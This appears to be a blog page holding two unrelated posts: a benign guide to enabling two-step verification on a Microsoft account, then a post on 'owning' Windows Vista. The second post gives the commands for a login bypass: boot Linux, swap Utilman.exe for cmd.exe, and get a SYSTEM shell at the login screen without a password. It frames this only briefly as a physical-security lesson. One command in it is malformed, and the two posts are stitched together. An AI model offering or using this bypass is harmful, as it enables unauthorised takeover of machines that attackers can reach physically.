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Two Factor Authentication: How To Secure Microsoft Accounts

We discussed securing Google accounts before. You can reach that content from here. The following walk-through illustrates how to install two-factor authentication for a Hotmail account.  These instructions assume you have the following: an Android smart phone and an alternate email address registered with your Hotmail account.  If you don’t then don’t fret, continue up to Step 3 then follow the on screen instructions.

Step 1:  Go to https://account.microsoft.com/proofs/Manage and sign in to your account.  Once signed in, click on the ‘Set up two-step verification’ link.

 

Step 2:  Click next.

 

Step 3:  Select a method to verify your identity.  (If you don’t have an alternate email address or Android, select the method that best fits your needs.)

Step 4:  Download and install the ‘Microsoft account’ app onto your smart phone.

 

Step 5:  Open the app and follow the on screen instructions to sign in to your account.  After signing in, you will be asked to verify your identity by having a security code emailed to your alternate email address.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Step 6:  Back on the website, select ‘Next’ to complete the setup.  Optionally, you can proceed further to create an app password for use on any devices that do not accept security codes.

The next time you or someone else tries to log into your account from another device, an alert will be sent to your phone to verify the login is authorized.  If not, reject the attempt.

Additional Resources

Microsoft FAQ: http://windows.microsoft.com/en-us/windows/two-step-verification-faq

 

Owning Windows Vista with Linux

In this blog post I want to show you a security problem related to Windows Vista.

Vista is criticized for mostly because it uses too much resources.  However do you know that you can “own” the Vista by using Linux.

That is right, you can get access to Vista without any password cracking or anything.

First, boot your machine with Linux.

Go to Windows partition:

cd /mnt/sda1 -a

Now, go to System32 directory:

cd Windows/System32

Backup Utilman.exe file:

mv Utilman.exe Utilman_backup.exe

Copy cmd.exe as Utilman.exe

cp cmd.exe Utilman.exe

Now reboot the machine and remove Linux live CD from CD room.

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Press CTRL+U to invoke utility manager.

Now, command prompt should be appeared since we have cmd.exe instead of original Utilman.exe

Type whoami to see who you are: System!!!

Type explorer and you can do whatever you want!

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This simple example shows how physical security is important in your company or even at home.